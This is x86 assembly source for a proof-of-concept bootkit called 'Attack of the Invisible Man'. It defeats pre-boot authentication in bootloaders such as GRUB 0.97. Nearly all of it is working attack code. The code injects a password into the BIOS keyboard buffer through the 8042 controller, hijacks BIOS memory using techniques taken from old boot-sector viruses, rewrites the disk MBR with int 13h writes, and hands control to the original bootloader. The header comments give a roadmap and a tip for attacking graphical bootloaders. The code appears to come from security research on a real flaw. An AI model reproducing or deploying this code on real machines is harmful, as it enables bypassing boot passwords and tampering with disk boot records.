; ; [ Attack of the Invisible Man ] ; (bootloader in the middle) ; ; Generic rebooting attack against pre-boot authentication MBRs ; that do not initialize BIOS keyboard memory. ; ; Jonathan Brossard -- [email protected] // [email protected] ; ; ; ; ROADMAP : ; ; Use delta offset[0] trick to find self location in memory. ; Fill the BIOS keyboard buffer using PIC 8042[1]. ; Allocate a 5 Kb buffer in RAM reserved to the BIOS. ; Find first bootable disk. ; Read old MBR backup in reserved RAM. ; Patch disk with old MBR. ; Load MBR in Ram at address 0x0000:0x7c00 ; Unallocate BIOS memory if possible ; Jump to 0x0000:0x7c00 ; ; NOTES : ; Since some BIOS/virtual machines do not follow the standards ; and do check/modify memory when calling int 0x19, we will ; emulate it by loading the MBR in Ram and jumping to it. ; ; Since we patch an actual MBR instead of crafting one from scratch, ; size does matter. The initial jump of the MBR is a jmp short, so ; it might be up to 128b long; we also need to keep the latest two ; bytes that mark the disk as bootable, hence , we roughly have : ; 512 - 128 - 2 = 382 bytes available if we want to stick to one sector. ; ; TODO : remove MBR backup ; ; [0] Cf: 80's/90's virii writting tutorials a la 40hex, ; virii source code like Stone or the Italian Virus, ; Dark Avenger virii's source code. ; http://www.etext.org/zines/ASCII/40hex/ ; ; [1] Art of Assembly Language: Chapter Twenty, Randall Hyde ; http://webster.cs.ucr.edu/AoA/DOS/ch20/CH20-1.html ; ; ; Tested against: ; * Grub 0.97 with MD5 hashes, under Gentoo 2006 ; * Grub 0.97 with MD5 hashes, under fedora release 7 (Moonshine) ; (vulnerable in both text and graphical modes) ; ; TIP : ; just add a few 'escape' characters before the password if you ; attack a bootloader with graphical display like grub. ; ; ; org 0x100 section .text _start: nop nop realstart: jmp short DeltaCall ; good old delta offset trick getdelta: pop bx jmp short afterroutinesjump DeltaCall: ; dummy call to get delta offset call getdelta ; ; Save usefull data here ; returnaddress: db 0x00, 0x00 password db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, db 0x00 ;------------------ [ keyboard filling subroutines ] ------------------ ; Credit for those routines : ; Art of Assembly Language: Chapter Twenty, Randall Hyde ; http://webster.cs.ucr.edu/AoA/DOS/ch20/CH20-1.html ; write_to_bios_buffer: mov dl, al xor cx, cx wait_controler: ; Wait untill microcontroler's in al, 0x64 ; control buffer is empty test al, 1 loopnz wait_controler ; disable the keayboard cli ; disable interrupts in al, 0x21 ; get current mask push ax or al, 2 ; mask keyboard interrupt out 0x21, al call wait_controler2 mov al, 0x60 ; "send keyboard" command out 0x64, al ; send the scancode as a new command : call wait_controler2 mov al, dl out 0x60, al call wait_controler2 mov al, 0x20 ; "send keyboard" command out 0x64, al xor cx, cx wait_if_full: ; wait until the controler in al, 0x64 ; is accepting data test al, 1 loopz wait_if_full call wait_controler2 mov al, 0x60 out 0x64, al call wait_controler2 mov al, 0x45 out 0x60, al fake_int0x09: in al, 0x60 int 0x09 ; simulate hardware interrupt ; re enable the keyboard, clean and return call wait_controler2 mov al, 0x0ae out 0x64, al ; re enable the keyboard pop ax out 0x21, al ; restore interrupt mask ret wait_controler2: ; wait until we can send a command push cx ; to the microcontroler push ax xor cx, cx testcmdport: in al, 0x64 test al, 2 ; check 'buffer is full' flag loopnz testcmdport pop ax pop cx ret ;------------------ [ Main code starts here ] ------------------ afterroutinesjump: ; ; Fill up the BIOS keyboard buffer thanks to PIC programming ; push bx add bx,2;3 mov si,bx ; si points to password mov cx,32 ; max BIOS keyboard buffer size put_password: ; put password in keyboard push cs ; (without final \x00) pop ds push cx mov al, [ds:si] cmp al, 0x00 je stop_copying call write_to_bios_buffer inc si pop cx loop put_password push cx ; dummy push stop_copying: pop cx ; dummy pop ; ; Reserve a 10 Kb memory buffer in the BIOS reserved memory. ; cf: old virii like Stoned, the Italian Virus etc. ; xor ax,ax mov ds,ax mov ax, [ds:0x413] ; get amound of available memory sub ax, 10 ; register 10 Kb of memory mov [ds:0x413],ax ; update BIOS counter pop es push ax ; save counter for desallocation push es mov cl,06 shl ax,cl mov es,ax ; our buffer starts at es:0x00 ; find the bootable hard drive : ; read 1 sectors and check if disk is marked ; as bootable on every disk successively push es xor dx,dx ; dl = drive number readnext: inc dl mov ah, 0x02 ; read from disk in memory mov al, 0x01 ; 1 sector mov bx, 0x00;buffer mov ch, 0 mov cl, 1 mov dh, 0 int 13h cmp ah, 0x00 ; check return value jne readnext cmp dl, 0x10 ; test 10 drives at max je notfound cmp byte [es:bx+510], 0x55 ; jne readnext ; Verify the disk is bootable cmp byte [es:bx+511], 0xAA ; jne readnext ; ; ; The bootable disk number is in dl, read 20 sectors, ; find our backup and patch the MBR (1 sector). ; pop es push es mov ah, 0x02 ; function: read mov al, 0x14 ; 20 sectors mov bx, 0x00; buffer mov ch, 0 mov cl, 1 mov dh, 0 int 13h cmp ah, 0x00 ; check return value jne readnext push cs pop ds pop es pop si xor bx,bx mov bx, [ds:si] ; return address ; Copy backuped MBR back to sector 1 mov ah, 0x03 ; function: write mov al, 1 ; 1 sector mov ch, 0 mov cl,1 ;1 mov dh, 0 int 13h ; ; Remove backed up MBR ; mov ah, 0x03 ; function: write mov al, 1 ; 1 sector int 13h notfound: push cs pop ds ; ; Jump to our code, in reserved BIOS Ram ; ; We want to do a jmp es:ax, but we'll have ; to code it ourselves... push cs pop ds call bigjump bigjump: pop ax add ax,20 push ax pop si sub ax,0x7c00 add ax,4 mov [ds:si],ax mov [ds:si+2],es jmp 0xffff:0x0000 ; patched at runtime nop ; optional nop sled nop nop nop nop nop nop nop ; ; Copy bootloader in RAM at position 0x0000:0x7C00 ; ; dl still contains drive number mov bx, 0x7c00 xor ax,ax push ax pop es mov ah, 0x02 ; read from disk in memory mov al, 0x01 ; 1 sector mov ch, 0 mov cl, 1 mov dh, 0 int 13h ; ; Desallocate memory if no other process has requested ; additional BIOS memory in the meantime pop ax ; retreive counter from stack mov bx, [ds:0x413] ; get current BIOS mem counter cmp ax, bx jne skip_desalloc ; someone else has allocated mem add ax, 10 ; unallocate 10 Kb of memory mov [ds:0x413],ax ; update BIOS counter ; ; Do not mention the race condition here ;) ; From here, we are executing code that might ; get overwritten anytime. Hopefully, protected ; mode is monoprocess. ; skip_desalloc: ; ; Jump to original bootloader ; jmp 0x0000:0x7c00 ;EOF